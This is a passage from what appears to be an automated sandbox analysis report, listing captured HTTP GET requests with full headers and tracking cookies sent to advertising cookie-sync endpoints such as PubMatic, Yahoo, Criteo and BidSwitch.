SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63
Source: global traffic	HTTP traffic detected: GET /pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=$UID HTTP/1.1Host: beacon.lynx.cognitivlabs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=40f09b66-e671-4da3-b991-c14247c4cce6; ss=C0tr9KgPFgrNDN7ndyYZYg9RbQDDBTw8B5BpThVpD2510eOJ7IXi2Q4oqyxtExzfPdXq1vvGb3VBkLlFhyoEkw%3D%3D
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NzUmdGw9NDMyMDA=&gdpr=0&gdpr_consent=&piggybackCookie=7455955347164126958 HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; PugT=1704929244; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; SPugT=1704929245
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?_origin=0&dpid=57926&ovsid=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8&gdpr=0&redir=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z:18p2~2g3z"
Source: global traffic	HTTP traffic detected: GET /sync/v1?source_id=UiRtTsXAfjmfSDAKnR1FjWsu&source_user_id=LR8EUG12-1F-5JG4&gdpr=0&us_privacy=1YNN HTTP/1.1Host: match.sharethrough.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: stx_user_id=316bb570-8374-4683-a0e9-a8b41619214a
Source: global traffic	HTTP traffic detected: GET /cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ovsid=316bb570-8374-4683-a0e9-a8b41619214a&dpid=58280 HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1
Source: global traffic	HTTP traffic detected: GET /tum?umid=6 HTTP/1.1Host: ums.acuityplatform.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: auid=875421843233; aum="OikKAfqbdXNlck1hdGNoQnlVc2VyTWF0Y2hpbmdJZE1hcPqANvqNdXNlck1hdGNoaW5nSWTMkWxhc3REcm9wVGltZU1pbGxpcyUBRj02Oly6mGxhc3RTdWNjZXNzZnVsTWF0Y2hNaWxsaXMlAUY9Njpcuo90aGlyZFBhcnR5VXNlcklkIfv7hnZlcnNpb27C+w=="
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?_origin=0&dpid=58160&ovsid=LR8EUG12-1F-5JG4&gdpr=0&redir=true&us_privacy=1YNN HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z:18vk~2g3z"
Source: global traffic	HTTP traffic detected: GET /dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@ HTTP/1.1Host: dis.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uid=94a96463-4da4-468a-ab35-7f2fcadb375f
Source: global traffic	HTTP traffic detected: GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sa-user-id=s%3A0-88cea7cc-414b-5931-4490-9389000b3410.YX8fBqWbbKIl9htyS%2BuNQoiPjQDzg%2BxgiaqyMjX0kfw; sa-user-id=s%3A0-88cea7cc-414b-5931-4490-9389000b3410.YX8fBqWbbKIl9htyS%2BuNQoiPjQDzg%2BxgiaqyMjX0kfw; sa-user-id-v2=s%3AiM6nzEFLWTFEkJOJAAs0EGalMCo.OWSeOwcZ0xOe3VtaYbow6MRlFZ6Ze%2BHwMl9A3b37RbE; sa-user-id-v2=s%3AiM6nzEFLWTFEkJOJAAs0EGalMCo.OWSeOwcZ0xOe3VtaYbow6MRlFZ6Ze%2BHwMl9A3b37RbE; sa-user-id-v3=s%3AAQAKIGnrengvFsmRP0yBGLf-VZ-GhBAQvioZQ5D7yTVlaVz8EHwYBCDZz_ysBjABOgT87-jmQgT3zKKw.VoS4EyYPwPHvI%2B7j09TsjbqLoc23LlMtt%2Bw2wvffG%2B4; sa-user-id-v3=s%3AAQAKIGnrengvFsmRP0yBGLf-VZ-GhBAQvioZQ5D7yTVlaVz8EHwYBCDZz_ysBjABOgT87-jmQgT3zKKw.VoS4EyYPwPHvI%2B7j09TsjbqLoc23LlMtt%2Bw2wvffG%2B4
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=437&ssp=criteo&user_id= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239
Source: global traffic	HTTP traffic detected: GET /setuid/magnite?uid=LR8EUG12-1F-5JG4&gdpr=0&us_privacy=1YNN HTTP/1.1Host: prebid.a-mo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI- HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; PugT=1704929244; chkChromeAb67Sec=3; pi=156078:4; DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&gdpr=0&gdpr_consent= HTTP/1.1Host: image2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
Source: global traffic	HTTP traffic detected: GET /ssp/bidswitch/cookie?bidswitch_ssp_id=pubmatic&bidswitch_custom_parameter=f6435827-796b-4521-81e9-11e581628f69 HTTP/1.1Host: rtb.adstanding.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:Rw6Yt2Jl1RnHYF5&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; 